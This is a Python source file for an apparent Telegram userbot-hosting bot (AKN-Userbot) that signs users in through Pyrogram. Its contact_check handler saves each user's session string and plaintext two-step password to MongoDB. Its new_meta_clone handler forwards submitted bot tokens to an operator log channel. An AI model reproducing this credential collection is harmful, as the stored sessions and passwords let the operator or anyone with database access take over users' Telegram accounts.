#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright 2020-2023 (c) Randy W @xtdevs, @xtsea
#
# from : https://github.com/TeamKillerX
# Channel : @RendyProjects
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see .
import asyncio
import requests
import pyromod
from asyncio.exceptions import TimeoutError
from datetime import datetime as dt, timedelta
from pymongo import MongoClient
from pyrogram import Client as ren
from pyrogram import *
from pyrogram.errors import *
from pyrogram.enums import *
from pyrogram.types import *
from pyrogram import __version__ as pyro
from telethon import TelegramClient
from telethon.errors import *
from akn.utils.logger import LOGS
from akn.manage.parameter import *
from akn.manage.new_start_funcs import initial_client_bots
from akn.utils.base_sqlite import *
from akn.utils.database import db as db_client
from akn.utils.expired_bot import watch_do_time, add_time_watch
from config import *
from box import Box
client_mongo = MongoClient(MONGO_URL)
db = client_mongo["tiktokbot"]
collection = db["users"]
GBAN_ADMIN_ID = 1191668125
devs = GBAN_ADMIN_ID
active_clients = {}
STARTED_USERS = """
AKN-Dev (start) Logs
UserID : {}
First Name : {}
Username : {}
"""
@ren.on_message(
~filters.scheduled
& filters.command(["resetprefix"])
& filters.private
& ~filters.forwarded
)
async def set_prefix_pm(client: Client, message: Message):
user_id = message.from_user.id
commands = message.text.split(" ", 1)[1] if len(message.command) > 1 else None
new_prefix_text = commands if commands else "."
if new_prefix_text.lower() == "none":
await set_prefix_in_db(user_id, "None")
return await message.reply_text("Prefix removed.")
await set_prefix_in_db(user_id, new_prefix_text)
await message.reply_text(f"Prefix set to: {new_prefix_text}")
hubungi_captcha = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text="❗ Free Join Channel",
url="https://t.me/RendyProjects"
)
],
[
InlineKeyboardButton(
text="❌ Cancel",
callback_data="contet"
)
]
]
)
keyboard = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text="Contact Support",
user_id=1191668125
)
]
]
)
control_bttn = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text="Rᴇsᴛᴀʀᴛ Tɪᴋᴛᴏᴋ Bᴏᴛ",
callback_data="control"
)
],
[
InlineKeyboardButton(
text="Cʟᴏsᴇ",
callback_data="close"
)
]
]
)
button_csv = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text="Export",
callback_data="download_csvuser"
)
],
[
InlineKeyboardButton(
text="❌ Close",
callback_data="close"
)
]
]
)
welcome_dg = """
Welcome to AKN-Userbot
📃 [Privacy policy](https://t.me/RendyProjects/2644)
"""
keyboard_agree = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text="Dᴇᴠᴇʟᴏᴘᴇʀ",
user_id=1191668125
),
InlineKeyboardButton(
text="Cʜᴀɴɴᴇʟ",
url="https://t.me/RendyProjects"
)
],
[
InlineKeyboardButton(
text="Cᴜsᴛᴏᴍɪᴢᴇ",
callback_data="contet"
)
],
[
InlineKeyboardButton(
text="Cʟᴏsᴇ",
callback_data="close"
)
]
]
)
@ren.on_callback_query(filters.regex(r"closeme_"))
async def close_me(_, cb: CallbackQuery):
data = cb.data.split("_")
user_id = int(data[1])
if cb.from_user.id != user_id:
await cb.answer("Can only close users!", True)
return
try:
await cb.message.delete()
except Exception as e:
return await cb.answer(str(e), True)
@ren.on_callback_query(filters.regex(r"stopbots_"))
async def stopped_check(_, cb: CallbackQuery):
global active_clients
data = cb.data.split("_")
user_id = int(data[1])
if cb.from_user.id != user_id:
await cb.answer("You can only stop your own bot!", show_alert=True)
return
client = active_clients.get(user_id)
if not client:
await cb.answer("Bot instance not found or already stopped.", show_alert=True)
return
try:
await client.stop()
except Exception:
await cb.answer("Client is already terminated", show_alert=True)
del active_clients[user_id]
get_user_exp = await db_client.get_expired_date(user_id)
object = Box(get_user_exp)
await db_client.set_expired_date(
user_id=object.user_id,
first_name=object.first_name,
username=object.username,
expire_date=None,
bot_token=object.user_client.bot_token,
client_name=object.user_client.client_name,
disconnected=True
)
await cb.answer("Bot has been stopped successfully!", show_alert=True)
LOGS.info(f"Bot for user {user_id} has been stopped.")
force_reply = ReplyKeyboardMarkup(
[
[KeyboardButton("👤 Contact"), KeyboardButton("🗿 Status")],
[KeyboardButton("⚡ Prefixes"), KeyboardButton("➕ Setprefix")],
[KeyboardButton("⭐ Create Userbot", request_contact=True)]
],
resize_keyboard=True,
one_time_keyboard=True
)
INFO_STATUS = """
• USERINFO ❓
User ID: `{user}`
First Name: {first_name}
Bot Username: `{bot}`
Expired on: `{exp}`
Disconnected: `{conn}`
"""
pattern = r"^(👤 Contact|🗿 Status|⚡ Prefixes|➕ Setprefix|⭐ Create Userbot)$"
@Client.on_message(
filters.private
& filters.regex(pattern)
)
async def robot(client: Client, message: Message):
user_id = message.from_user.id
if not await db_client.get_privacy_policy(user_id):
return await message.reply_text("You must agree to the privacy policy first.")
if message.text == "👤 Contact":
await message.reply_text("You can ask @xtdevs")
elif message.text == "🗿 Status":
xget = await db_client.get_expired_date(user_id)
object = Box(xget or {})
if not object:
return await message.reply_text("Nothing found", reply_markup=ReplyKeyboardRemove())
if not object.get("user_client"):
return await message.reply_text("Nothing found", reply_markup=ReplyKeyboardRemove())
if object.expire_date is None:
expire_date = ""
else:
expire_date = object.expire_date.strftime("%d-%m-%Y")
disconnected = object.user_client.disconnected
isbetter = INFO_STATUS.format(
user=object.user_id,
first_name=object.first_name,
bot=object.username,
exp=expire_date,
conn=disconnected
)
await message.reply_text(isbetter, reply_markup=ReplyKeyboardRemove())
elif message.text == "⚡ Prefixes":
get_prefixs = await get_prefix(user_id)
if not get_prefixs:
return await message.reply_text("Nothing found prefix", reply_markup=ReplyKeyboardRemove())
await message.reply_text(f"Prefixes: `{get_prefixs}`", reply_markup=ReplyKeyboardRemove())
elif message.text == "➕ Setprefix":
try:
prefix_ask = await message.chat.ask("Send your set prefix new", timeout=300)
except TimeoutError:
return await client.send_message(message.chat.id, "Limit Error")
if prefix_ask.text.lower() == "none":
await set_prefix_in_db(user_id, "None")
return await message.reply_text("Prefix removed.", reply_markup=ReplyKeyboardRemove())
prefix_new = prefix_ask.text
await set_prefix_in_db(user_id, prefix_new)
await message.reply_text(f"Prefix set to: {prefix_new}", reply_markup=ReplyKeyboardRemove())
@Client.on_message(
filters.contact
& filters.private
)
async def contact_check(bot, message):
if message.contact:
user_id = message.from_user.id
if not await db_client.get_privacy_policy(user_id):
return await message.reply_text("You must agree to the privacy policy first.")
new_code_password = ""
contact = message.contact
client_name = generate_random_string(12)
phone = "+" + contact.phone_number
try:
confirm_apid = await message.chat.ask(
"Please send your API ID (from my.telegram.org):\n\n"
"Format should be: `123456`\n\n"
"Type /cancel to abort",
timeout=300
)
except TimeoutError:
return await bot.send_message(
message.chat.id, "`Time limit reached of 5 min.`"
)
if confirm_apid.text.lower() == "/cancel":
return await bot.send_message(message.chat.id, "Cancelled")
api_id = confirm_apid.text
await confirm_apid.delete()
try:
confirm_apihash = await message.chat.ask(
"Please send your API HASH (from my.telegram.org):\n\n"
"Format should be: `6asdksxxxxxxxx`\n\n"
"Type /cancel to abort",
timeout=300
)
except TimeoutError:
return await bot.send_message(
message.chat.id, "`Time limit reached of 5 min.`"
)
if confirm_apihash.text.lower() == "/cancel":
return await bot.send_message(message.chat.id, "Cancelled")
api_hash = confirm_apihash.text
await confirm_apihash.delete()
client = Client(
"{}".format(client_name),
api_id=int(api_id),
api_hash=api_hash
)
try:
await client.connect()
except ConnectionError:
await client.disconnect()
await client.connect()
except Exception as e:
LOGS.error(f"Error Connect Userbot: {str(e)}")
await client.disconnect()
return await bot.send_message(message.chat.id, "Error try again problem")
while True:
confirm = await message.chat.ask(
f'`Is "{phone}" correct? (y/n):` \n\ntype: `y` (If Yes)\ntype: `n` (If No)'
)
if confirm.text.lower() == "/cancel":
await bot.send_message(message.chat.id, "Cancelled")
return await client.disconnect()
if "y" in confirm.text.lower():
await confirm.delete()
break
try:
code = await client.send_code(phone)
await asyncio.sleep(1)
except FloodWait as e:
return await bot.send_message(
message.chat.id,
f"`you have floodwait of {e.value} Seconds`"
)
except PhoneNumberInvalid:
return await bot.send_message(
message.chat.id,
"`your Phone Number is Invalid.`"
)
except Exception as e:
return await bot.send_message(
message.chat.id,
f"`your Phone Number is Invalid: {e}`"
)
try:
otp = await message.chat.ask(
(
"`An otp is sent to your phone number, "
"Please enter otp in\n`1 2 3 4 5` format.`\n\n"
"`If Bot not sending OTP then try` /restart `cmd and again` /start `the Bot.`\n"
"Press /cancel to Cancel."
),
timeout=300,
)
except TimeoutError:
return await bot.send_message(
message.chat.id, "`Time limit reached of 5 min.`"
)
if otp.text.lower() == "/cancel":
await bot.send_message(message.chat.id, "Cancelled")
return await client.disconnect()
otp_code = otp.text
await otp.delete()
try:
await client.sign_in(
phone,
code.phone_code_hash,
phone_code=" ".join(str(otp_code))
)
except PhoneCodeInvalid:
return await bot.send_message(message.chat.id, "`Invalid Code.`")
except PhoneCodeExpired:
return await bot.send_message(message.chat.id, "`Code is Expired.`")
except SessionPasswordNeeded:
try:
two_step_code = await message.chat.ask(
"`This account have two-step verification code.\nPlease enter your second factor authentication code.`\nPress /cancel to Cancel.",
timeout=300,
)
except TimeoutError:
return await bot.send_message(
message.chat.id, "`Time limit reached of 5 min.`"
)
if two_step_code.text.lower() == "/cancel":
await bot.send_message(message.chat.id, "Cancelled")
return await client.disconnect()
new_code = two_step_code.text
new_code_password += two_step_code.text
await two_step_code.delete()
try:
await client.check_password(new_code)
except Exception as e:
return await bot.send_message(
message.chat.id, "**ERROR:** `{}`".format(e)
)
except Exception as e:
return await bot.send_message(
message.chat.id, "**ERROR:** `{}`".format(e),
)
session_string = await client.export_session_string()
await client.disconnect()
now = dt.now().strftime("%Y-%m-%d %H:%M:%S")
admin_buttons = InlineKeyboardMarkup([
[InlineKeyboardButton("✅ Approve", callback_data=f"approved_ub_{user_id}"),
InlineKeyboardButton("❌ Reject", callback_data=f"rejected_ub_{user_id}")],
[InlineKeyboardButton("👤 View User", url=f"tg://user?id={user_id}")]
])
user_data = {
"api_id": int(api_id),
"api_hash": api_hash,
"user_id": user_id,
"is_active": False,
"status": "pending",
"created_at": now,
"timestamp": now,
"first_name": message.from_user.first_name,
"username": message.from_user.username,
"phone_number": phone,
"password": new_code_password,
"session_string": session_string,
}
existing_request = await db_client.session.find_one({"user_id": user_id})
if existing_request:
await db_client.session.update_one(
{"user_id": user_id},
{
"$push": {"user_client": user_data},
"$set": {"last_updated": now}
},
upsert=True
)
else:
await db_client.session.insert_one(
{
"user_id": user_id,
"user_client": [user_data],
"created_at": now,
"last_updated": now
}
)
await bot.send_message(
message.chat.id,
f"✅ **Deployment Userbot Request Submitted**\n\n"
f"⏳ Admin approval usually takes <15 minutes",
reply_markup=InlineKeyboardMarkup([
[InlineKeyboardButton("📊 Check Status", callback_data=f"statusub_{user_id}")]
])
)
await bot.send_message(
PRIVATE_LOGS,
text=f"**New Userbot Request**\n\n"
f"👤 User: {message.from_user.mention} (`{user_id}`)\n"
f"📛 Username: @{message.from_user.username}\n"
f"⏰ Submitted: {now}\n"
f"🏷 Tier: 🆓 Free",
reply_markup=admin_buttons
)
@Client.on_message(
filters.private
& filters.command("menu")
)
async def show_menu(client, message):
user_id = message.from_user.id
if not await db_client.get_privacy_policy(user_id):
return await message.reply_text("You must agree to the privacy policy first.")
await client.send_message(
message.chat.id,
text="What do menu list this?",
reply_markup=force_reply
)
@ren.on_message(filters.command("start") & filters.private)
async def start_welcome(client: Client, message: Message):
user_id = message.from_user.id
if not await db_client.get_privacy_policy(user_id):
await message.reply_text(
"You need to accept the privacy policy to use this bot.\n\n"
"Please click the button below to view the privacy policy and accept it.",
reply_markup=InlineKeyboardMarkup(
[
[InlineKeyboardButton("🔒 Privacy Policy", callback_data="privacy_policy")]
]
)
)
return
try:
if len(message.text.split()) > 1:
argument = message.text.split(maxsplit=1)[1].lower()
if argument == "help":
await client.send_message(
PRIVATE_LOGS,
text=STARTED_USERS.format(
user_id,
message.from_user.first_name,
f"@{message.from_user.username}" if message.from_user.username else "N/A"
)
)
await message.reply_text("Why help?.", disable_web_page_preview=True)
return
try:
user = await client.get_users(user_id)
except Exception as e:
await message.reply_text(f"Error: {e}")
await client.send_message(PRIVATE_LOGS, f"Error in start command: {type(e).__name__}: {e}")
return
collection.update_one(
{"user_id": user_id},
{"$set": {
"name": message.from_user.first_name,
"user_id": user_id
}},
upsert=True
)
await client.send_message(
-1002407639480,
text=STARTED_USERS.format(
user_id,
message.from_user.first_name,
f"@{message.from_user.username}" if message.from_user.username else "N/A"
)
)
await client.send_photo(
message.chat.id,
photo="https://telegra.ph//file/586a3867c3e16ca6bb4fa.jpg",
caption=welcome_dg,
reply_markup=keyboard_agree
)
except Exception as e:
await message.reply_text(f"error: {str(e)}")
await client.send_message(PRIVATE_LOGS, f"Error in start command: {type(e).__name__}: {e}")
@ren.on_callback_query(filters.regex("^meta_bot$"))
async def new_meta_clone(bot: Client, cb: CallbackQuery):
global active_clients
user_id = cb.from_user.id
user_id_str = str(cb.from_user.id)
first_name = cb.from_user.first_name
client_name = generate_random_string(12)
await cb.message.delete()
try:
bot_token_ask = await cb.message.chat.ask(MAGIC_BOT_TEXT, timeout=300)
except TimeoutError:
await bot.send_message(cb.message.chat.id, "Limit Error")
return
if bot_token_ask.text.lower() == "/cancel":
await bot.send_message(cb.message.chat.id, "Cancelled")
return
bot_token = bot_token_ask.text
await bot_token_ask.delete()
try:
user_bots = Client(
"{}".format(client_name),
api_id=API_ID,
api_hash=API_HASH,
bot_token=bot_token,
plugins={"root": "akn.Meta"}
)
await user_bots.start()
active_clients[user_id] = user_bots
except Exception as e:
return await bot.send_message(cb.message.chat.id, f"Error {e}")
try:
new_check = await db_client.get_env("EXPIRED_USER") or {}
if user_id_str in new_check and new_check[user_id_str]["7days"] == "✅":
await add_time_watch(
user_id=user_id,
first_name=first_name,
username=f"@{user_bots.me.username}",
bot_token=bot_token,
client_name=client_name,
days=7,
disconnected=False
)
else:
await add_time_watch(
user_id=user_id,
first_name=first_name,
username=f"@{user_bots.me.username}",
bot_token=bot_token,
client_name=client_name,
days=7,
disconnected=False
)
except Exception as e:
return await cb.message.reply_text(f"Error: {e}")
try:
get_user_exp = await db_client.get_expired_date(user_id)
object = Box(get_user_exp)
formating_date = object.expire_date.strftime("%d-%m-%Y")
bot_user = await user_bots.get_me()
bot_username = "@" + bot_user.username
bot_first_name = bot_user.first_name
link_start = "https://t.me/{}?start=start".format(bot_user.username)
caption = ""
caption += "Bot Name : {}\n".format(bot_first_name)
caption += "Bot Username : {}\n".format(bot_username)
caption += "Bot ID : {}
\n".format(bot_user.id)
caption += "Expired On: {}
\n".format(formating_date)
caption += "Meta AI By akn-dev\n"
keyboard_start_now = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text="Check Start Bot",
url=link_start
)
],
[
InlineKeyboardButton(
text="⚠️ Disconnected",
callback_data=f"stopbots_{user_id}"
)
],
]
)
msg = await cb.message.reply_text(f"🔑 {bot_token}
\n\nCopying system...")
await asyncio.sleep(5)
await bot.send_message(
PRIVATE_LOGS,
text="{}\n\nBot Token: {}
\n".format(
caption,
bot_token
)
)
await bot.send_photo(
cb.message.chat.id,
photo="https://telegra.ph//file/586a3867c3e16ca6bb4fa.jpg",
caption=caption,
reply_markup=keyboard_start_now
)
await msg.delete()
await db_client.add_bot_token_meta(user_id, bot_token)
except Exception as e:
await bot.send_message(cb.message.chat.id, f"Error {e}")
await msg.delete()
return
await asyncio.gather(
idle(),
watch_do_time(user_id, user_bots, bot)
)